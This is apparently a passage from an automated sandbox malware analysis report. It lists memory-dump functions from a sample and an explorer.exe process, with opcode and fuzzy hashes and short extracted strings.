Instruction Fuzzy Hash: EC113272D5AA4E4FEB84A668E0829FD7BB2FF58340B80057AC00EC3286DE3818918741

Function 00007FF887B2D155 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9f2e51ca54252a75637945787d6bb75353d3d4bd9679da5d7adc5f0504422db
Instruction ID: 7b22fa2039201b49d4cd3ac984830466c463129edeb96b4cf004418362d328b5
Opcode Fuzzy Hash: b9f2e51ca54252a75637945787d6bb75353d3d4bd9679da5d7adc5f0504422db
Instruction Fuzzy Hash: F801B171A6C9488FEB48EB68E8522ECB3F1FF59360F44007EE00EC2282DA246816C740

Function 00007FF887B208B1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b20000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0230ec040d44a10c6f5c69012f60cdd6fa5b82f90c8a869b1ddf6f96e6ca1f
Instruction ID: 8768d075276b213aa3a005b2da7235c2efd1f7a4c0b49af01c2e647afc9c5f33
Opcode Fuzzy Hash: 6b0230ec040d44a10c6f5c69012f60cdd6fa5b82f90c8a869b1ddf6f96e6ca1f
Instruction Fuzzy Hash: 5F019E718487898FD744DF28D88C3AA3FB0FB99314F8446AAD008D6292DB3A44A8C742

Function 00007FF887B2F47D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a17df6ca4a71dc3ac6a7031b906547cdc84ecb15f91c37e38486e575217b0bdd
Instruction ID: bf29fda2a704e354efaa61d373db4aafaeec0876783fc7320b29672465f5b919
Opcode Fuzzy Hash: a17df6ca4a71dc3ac6a7031b906547cdc84ecb15f91c37e38486e575217b0bdd
Instruction Fuzzy Hash: 39017C3481AA8D8FDB51EF6898446FD7BB0FF15341F4005B6D428C2146EBB85554C741

Function 00007FF887B2A088 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f962931f771504a24c7b3e3218a479e73b29f652ac7e566a6044f5d51b67d9ec
Instruction ID: 5d65e6695190237153b648240075e04d5d93ae245cd187ff8971aa4347e4ba5a
Opcode Fuzzy Hash: f962931f771504a24c7b3e3218a479e73b29f652ac7e566a6044f5d51b67d9ec
Instruction Fuzzy Hash: 8301A731A69A458FD664EB38D0405AA73F2FF59345B9049BEC04EC7996DE38F846C740

Function 00007FF887B2FB38 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc50fef2bd502797a5b9bcb211c2ef319f4211271689ddd930e132487d687126
Instruction ID: 7cc89af1306a21c90edfccc08a830c8906ccb7bbd5357bae76dea15bebc7e7d0
Opcode Fuzzy Hash: cc50fef2bd502797a5b9bcb211c2ef319f4211271689ddd930e132487d687126
Instruction Fuzzy Hash: 2E01A231A6AA498FDAA4EB38D0445EA73F2FF58390B9009BDD04EC7596CE38F845C740

Function 00007FF887B20955 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b20000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28167622cc3d95a3f22d3ea374088a20075ed5ecacd00da83bcb09e8ca94f0fd
Instruction ID: e17518e83b6b2178a20812d66d02891cfde89576541f59d464ae1e55ace67189
Opcode Fuzzy Hash: 28167622cc3d95a3f22d3ea374088a20075ed5ecacd00da83bcb09e8ca94f0fd
Instruction Fuzzy Hash: 08F0F631C5864D9FE744EB68C4442ADBBB1FF48300F4141B5D419C7193DF386984C701

Function 00007FF887B2F9B7 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5500f7131488601a34531f7c114344681eb16113abd83bfab75dc2fcfb975c
Instruction ID: 215d7d2f3bfdae7f97c5e4708179544b3632e0d7b7f60f1f143f352104ff31b9
Opcode Fuzzy Hash: 3c5500f7131488601a34531f7c114344681eb16113abd83bfab75dc2fcfb975c
Instruction Fuzzy Hash: 99F0AF32655A0A8BE3259A18E4553D933A3EBC53A0F99067AD44DC7399CE3DE482C700

Function 00007FF887B29F07 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction ID: 804549dc310b3290b62231487ad15907f1a7cee48205a52de227f4c5bb3d3315
Opcode Fuzzy Hash: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction Fuzzy Hash: B3F0C832255A064BD315961CE4517DA33A3EBC5361F95457AC84DC73D5DD3DE5C2C340

Function 00007FF887B290A2 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d69f6a04c8702e0fd25aef974136d2b4ad7d3883e599f2ce12bb5e652b0133
Instruction ID: d49a02957f3b464ba046a82a92e2aeab7efd6e49f3e8430c207a0377d07908b2
Opcode Fuzzy Hash: b3d69f6a04c8702e0fd25aef974136d2b4ad7d3883e599f2ce12bb5e652b0133
Instruction Fuzzy Hash: F3F0A931E1980D8FDF84EBA8D459AEDB7B1FF58341B414165D00EE7652DE28A841CB50

Function 00007FF887B21BE3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b20000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae7859785dce7ae1429f085cc233bd23c24430094afcb950bbe5c336bde27d0
Instruction ID: e0c04204bba250a4b0ea68e480f8dec1fcd998f71af993f12021e756d2eca35c
Opcode Fuzzy Hash: aae7859785dce7ae1429f085cc233bd23c24430094afcb950bbe5c336bde27d0
Instruction Fuzzy Hash: 51F01735E0891C8FEF94EB9CD885AECB7B2FB58341F50016AC40DE3255DE386851DB40

Function 00007FF887B25F58 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e6d49304436328ae88dc98ec7d092bb40445465f0b726ffdcbcf92daa9bacc
Instruction ID: cf80af8f74f39aafb1ed114db53e900fb13fd4a11f84d24cf4e4b8a4eaa0ff66
Opcode Fuzzy Hash: e8e6d49304436328ae88dc98ec7d092bb40445465f0b726ffdcbcf92daa9bacc
Instruction Fuzzy Hash: 7EF0F430829A0D8EEB90EFA888086FDB6B1FB18300F800566E42CD2154EB74A550CB41

Function 00007FF887B2C659 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef64d06bd24abc3522ba2b98d751a461dda183e0394f85903f9aafd859a80e2
Instruction ID: 181c9709b01913d477dfd75eed35ee53f1a4a27e18627f0c75b34cc74cbbf9f1
Opcode Fuzzy Hash: 3ef64d06bd24abc3522ba2b98d751a461dda183e0394f85903f9aafd859a80e2
Instruction Fuzzy Hash: 99F09A3185E28D8FCB66DB6488141EEBFB0BF4A340F8509F6D419C71A2DB385A08D741

Function 00007FF887B28F31 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f791e091a381788c70a7a8cb57bd088079cb8772e3730bcd81b4e3069dc4b4f9
Instruction ID: 75c87a9a2ec64bb8fceb30b759d6211b8a13831e4e3514d0584e53ab92b51056
Opcode Fuzzy Hash: f791e091a381788c70a7a8cb57bd088079cb8772e3730bcd81b4e3069dc4b4f9
Instruction Fuzzy Hash: F7E02622C5DBD20FD7A4666564950947BE1EF2921074A04EBC18DC7483ED4C9C418302

Function 00007FF887B2D1D1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce4d61a5f821115ad5b46238e6b2c955f29e3d1bf1c73f807f027ed9d76dc9a1
Instruction ID: d774197b7cb73e75b3c484d270fe1f0b981c1fb962b2c5f85a88b775ce8492b5
Opcode Fuzzy Hash: ce4d61a5f821115ad5b46238e6b2c955f29e3d1bf1c73f807f027ed9d76dc9a1
Instruction Fuzzy Hash: 9CB01231B5EC094E70A0E01C243423E00DBFBD81B17740373C00DC329DCC1C58038282

Function 00007FF887B2B9CD Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction ID: db32680cb98a0a762feb72c06b3934cd7e5e1e9a9f03cd462058f1c8e2c2ced6
Opcode Fuzzy Hash: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction Fuzzy Hash: CBB09920CFF80380E82022A008822BE0022BF0C3A8EF00AB2C00E03282FC0E3088E002

Function 00007FF887B3172D Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a4130308efbe00154d5e0ff7968409124cdcf38bcba6346965886a79e66db0
Instruction ID: e08f2ab0d6d272a5b10232501a58a9482b6215084d30177c89d10206d49573f1
Opcode Fuzzy Hash: 28a4130308efbe00154d5e0ff7968409124cdcf38bcba6346965886a79e66db0
Instruction Fuzzy Hash: 69B002A5CDD84FD1E6342591445507D10EB7F547D2EEC0471D40E55185EC4E29D7E252

Non-executed Functions

Function 00007FF887B2FFC0 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887B3003D
b4B, xrefs: 00007FF887B2FFEF
C[_H, xrefs: 00007FF887B3006F
b4B, xrefs: 00007FF887B3008B

Memory Dump Source

Source File: 00000017.00000002.1526249240.00007FF887B25000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B25000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff887b25000_HSZUYllrTVQhIRaXpKBgYbmVnCoTc.jbxd

Similarity

API ID:
String ID: C[_H$b4B$b4B$b4B
API String ID: 0-3023222061
Opcode ID: bbe308d835ddeaf7e9de9504fac8b3ef19a5d3bce9cde83ffd2216e86d0bea2e
Instruction ID: 98d46ffcd008f50212cc1b7f06035545feffd71a201a13e0648ec3dd3221b07e
Opcode Fuzzy Hash: bbe308d835ddeaf7e9de9504fac8b3ef19a5d3bce9cde83ffd2216e86d0bea2e
Instruction Fuzzy Hash: C8514A71D5894E9FEF98DFA8D451AACBBF2FF98340F54017AC01DE7286DA286841CB41

Analysis Process: explorer.exePID: 616, Parent PID: 3504COMMON

Executed Functions

Function 00007FF887C6109D Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887C61278

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: eae50ab7e6b633380ef49cede7e7f13cd96b5292a0a6bfb9d8714d95557ba272
Instruction ID: a1ea0155ad7f5ac433af4a97c68476f090f1803e48bd94e46d88f24f712103b6
Opcode Fuzzy Hash: eae50ab7e6b633380ef49cede7e7f13cd96b5292a0a6bfb9d8714d95557ba272
Instruction Fuzzy Hash: 39811870D499198FEB94EA68D895AFDB7B2FF59341F5001B9C00DE7292DE38A981CB40

Function 00007FF887C67E08 Relevance: 13.6, Strings: 10, Instructions: 1136COMMON

Download Yara Rule

Strings

6B, xrefs: 00007FF887C689F1
6B, xrefs: 00007FF887C688F7
0DL, xrefs: 00007FF887C6843C
0DL, xrefs: 00007FF887C684AB
#S}, xrefs: 00007FF887C68278
6B, xrefs: 00007FF887C68ADF
6B, xrefs: 00007FF887C68703
6B, xrefs: 00007FF887C687FD
6B, xrefs: 00007FF887C68602
6B, xrefs: 00007FF887C68BD3

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 6B$6B$6B$6B$6B$6B$6B$#S}$0DL$0DL
API String ID: 0-975879146
Opcode ID: d99dd3388936d95db7f8892b64244200766db3d5f0a4a38f9e78fc66a63c1260
Instruction ID: 27f4d19d5645f17ee8700e53ad971ccd85f92bd05f784d646e71217070d1e36d
Opcode Fuzzy Hash: d99dd3388936d95db7f8892b64244200766db3d5f0a4a38f9e78fc66a63c1260
Instruction Fuzzy Hash: ECA2A470948A1D8FDBA8EB18C895BA8B7B2FF58740F5041E9D01DE7291DB35AE81CF00

Function 00007FF887C6A425 Relevance: 6.7, Strings: 5, Instructions: 455COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6A85B
r6B, xrefs: 00007FF887C6A498
r6B, xrefs: 00007FF887C6A4EA
r6B, xrefs: 00007FF887C6A739
, xrefs: 00007FF887C6A89C

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: $r6B$r6B$r6B$r6B
API String ID: 0-1635170207
Opcode ID: 3f24e26680eadd88701d4cd174bdf7d84fe40cb3b3e7bd3224bb3878c1ad8e08
Instruction ID: 0cb43da160e91b1392362ba8dea7ad463d552c2ba404b32d5319939480dcf042
Opcode Fuzzy Hash: 3f24e26680eadd88701d4cd174bdf7d84fe40cb3b3e7bd3224bb3878c1ad8e08
Instruction Fuzzy Hash: 21F1AE70A48A498FE759DB68C4906AEB7F2FF58340F1445BEC04EC3696DA39B842DB40

Function 00007FF887C60648 Relevance: 6.6, Strings: 5, Instructions: 376COMMON

Download Yara Rule

Strings

", xrefs: 00007FF887C65547
-, xrefs: 00007FF887C65683
", xrefs: 00007FF887C65588
{, xrefs: 00007FF887C65141
[, xrefs: 00007FF887C653B1

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: "$"$-$[${
API String ID: 0-3019564589
Opcode ID: 0bdd07ff5fcf7b84320f99c3984e54842dcc61774fb91c66c0cf08709ac7174e
Instruction ID: f507b0dd94621eb4fbc2687f7a4e78d5c427eec772c4d09af64ae43cd5e88b1c
Opcode Fuzzy Hash: 0bdd07ff5fcf7b84320f99c3984e54842dcc61774fb91c66c0cf08709ac7174e
Instruction Fuzzy Hash: 69F1D470D186298FDBA8DF68D8947EDB7B2FF59341F6041A9D04DA7281CB386985CF40

Function 00007FF887C6D51D Relevance: 5.4, Strings: 4, Instructions: 439COMMON

Download Yara Rule

Strings

/B, xrefs: 00007FF887C6D5A2
/B, xrefs: 00007FF887C6D74E
/B, xrefs: 00007FF887C6D6CB
/B, xrefs: 00007FF887C6D622

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: /B$/B$/B$/B
API String ID: 0-2403987392
Opcode ID: 69de98167d23011e8b74cac8a66a687a5bd2848bab5bb4dcb12c90d2ebdd0c17
Instruction ID: 31c6035e64907ec1e3f04d42dd74e2ccf55180882a9f83dc0f35315480e40ea8
Opcode Fuzzy Hash: 69de98167d23011e8b74cac8a66a687a5bd2848bab5bb4dcb12c90d2ebdd0c17
Instruction Fuzzy Hash: 23024970918A198FEB95EB68C899BECB7B2FF58300F5040E9D41DD3296DE386981CF41

Function 00007FF887C6C279 Relevance: 4.0, Strings: 3, Instructions: 285COMMON

Download Yara Rule

Strings

L, xrefs: 00007FF887C6C2E0
L, xrefs: 00007FF887C6C411
6B, xrefs: 00007FF887C6C4BE

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 6B$L$L
API String ID: 0-3737499674
Opcode ID: 7cadaaf6840ae2295acec89a383475b199ce2d80e11d230043b672dc6e88e339
Instruction ID: 49f8c2d97f4a3c68d71d64d12d1c50d6e5520999906e0a34a7654c3080ca8bed
Opcode Fuzzy Hash: 7cadaaf6840ae2295acec89a383475b199ce2d80e11d230043b672dc6e88e339
Instruction Fuzzy Hash: 6FA1B870A08A5C8FDF98EF58D895BA8B7F2FF69301F1045A9D00DE7295CB35A981CB00

Function 00007FF887C6AD6B Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6AD82
r6B, xrefs: 00007FF887C6AFBB

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B$r6B
API String ID: 0-2860294223
Opcode ID: 41ae2ca4ac8ea2234bcb6a0b46f4e40f397dd5639d4de128f798dd051ee05081
Instruction ID: 4a5986ed05873bc22aadba78557d3d3cf76c67fa9922809ef3e5aaeb1deac3cc
Opcode Fuzzy Hash: 41ae2ca4ac8ea2234bcb6a0b46f4e40f397dd5639d4de128f798dd051ee05081
Instruction Fuzzy Hash: 9DD16B70D586199FEB0DDF68C094ABCBBB2FF59344F2044BEC45AD7282DA396942CB41

Function 00007FF887C7021C Relevance: 2.8, Strings: 2, Instructions: 253COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C70499
r6B, xrefs: 00007FF887C7024A

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B$r6B
API String ID: 0-2860294223
Opcode ID: 981abb2164a71ad1bd305d485abde131db70aa7b0a5ec3b5380fb6584829e296
Instruction ID: b0ee39af1b72c6a30b79116a261e55f2f45c62cc7db2021b1e48229346a86750
Opcode Fuzzy Hash: 981abb2164a71ad1bd305d485abde131db70aa7b0a5ec3b5380fb6584829e296
Instruction Fuzzy Hash: F291B030A48B858FE765DB28C091669B7F2FF55340F5449BEC09AC7A96DE38F881C741

Function 00007FF887C616C5 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF887C6176F
HBL, xrefs: 00007FF887C61765

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: N_H$HBL
API String ID: 0-684199934
Opcode ID: 821847e0698864809a00608e2f263a62cd7b1ca38e537cb0f7f33539228bce55
Instruction ID: f318e686bbe39243fa61288f94743e9a1f9545916b96f45f0628570ef35bdfec
Opcode Fuzzy Hash: 821847e0698864809a00608e2f263a62cd7b1ca38e537cb0f7f33539228bce55
Instruction Fuzzy Hash: A141AB71C5864A9FEB44EBA4D8566FDBBB2FF45341F0401BAD009E7192DB386A44CB82

Function 00007FF887C6D00B Relevance: 2.6, Strings: 2, Instructions: 109COMMON

Download Yara Rule

Strings

{z}, xrefs: 00007FF887C6D039
8\L, xrefs: 00007FF887C6D297

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: 8\L${z}
API String ID: 0-139024292
Opcode ID: cf0388d67a1126725d21b54be32c92dd96c9b4d1622926ab2560006c1e3f3a85
Instruction ID: c5ec541263c89312f1e8ef214c71fc06e771157e50e3e5f49f6bc51711d373c7
Opcode Fuzzy Hash: cf0388d67a1126725d21b54be32c92dd96c9b4d1622926ab2560006c1e3f3a85
Instruction Fuzzy Hash: E931EA3294C94A9FEB54A668E8956ED77F2FFD6360F04017ED04AC7182EE68B842C750

Function 00007FF887C6CCEE Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6CD69
(3K, xrefs: 00007FF887C6CE08

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: (3K$r6B
API String ID: 0-2051520653
Opcode ID: f090d27e50304f3386a96a76aec7c920ceed473672f8b88c9a84b922400ae7b9
Instruction ID: 81dbd97c1c3f880d84b81ea7046875d74b070f1cf5719fb6951c6bd143cb7117
Opcode Fuzzy Hash: f090d27e50304f3386a96a76aec7c920ceed473672f8b88c9a84b922400ae7b9
Instruction Fuzzy Hash: 0A31A374E5894D8FDF94EBACD899AAD7BF2FF59340F40016AD109D72A1DA38B841CB40

Function 00007FF887C616E0 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF887C6176F
HBL, xrefs: 00007FF887C61765

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: N_H$HBL
API String ID: 0-684199934
Opcode ID: 3d00509120288070f2edddaaf6901fc1d26ca6c7763404430ee1fe96a2c0fa31
Instruction ID: 45f58ee7398b7ee6c615d0d8098c78690890bb31f1ac6bc56c9d37b29beaca65
Opcode Fuzzy Hash: 3d00509120288070f2edddaaf6901fc1d26ca6c7763404430ee1fe96a2c0fa31
Instruction Fuzzy Hash: 87315870C18A4D9FEB84EBA8D8557EDB6B2FF59741F4001BAD009E3196DB386A40CB41

Function 00007FF887C6D065 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6D0A9
r6B, xrefs: 00007FF887C6D073

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: r6B$r6B
API String ID: 0-2860294223
Opcode ID: 2b35a7fb935f096541fcfac41488795d66e88eeca08cd5b9c3151b1ca78f1074
Instruction ID: 3879a9b42d49f8f5bbf15e8a6b24198b54915fa4540f52ab35a9b64c96aa3e25
Opcode Fuzzy Hash: 2b35a7fb935f096541fcfac41488795d66e88eeca08cd5b9c3151b1ca78f1074
Instruction Fuzzy Hash: E2218072F5C9195BAB98E55CE8915FDB3F3FB88A60B14027ED00DD3286DD2478028381

Function 00007FF887C7058C Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C705BB
, xrefs: 00007FF887C705FC

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: $r6B
API String ID: 0-2315467569
Opcode ID: d60a39fe4f05401b120d26481239ad5cf7bf54e9420e2c9e97267c7e8895fb9e
Instruction ID: eed4f521468ac71dd3db0a85350c46ccb5c4a65a80a75c7a356eb9e08931dadc
Opcode Fuzzy Hash: d60a39fe4f05401b120d26481239ad5cf7bf54e9420e2c9e97267c7e8895fb9e
Instruction Fuzzy Hash: 8C217A71E5890D9FDB48DB9CD8506ECB7B2FF99340F4041BAD419E3282DE386842CB40

Function 00007FF887C6A796 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887C6A85B
, xrefs: 00007FF887C6A89C

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: $r6B
API String ID: 0-2315467569
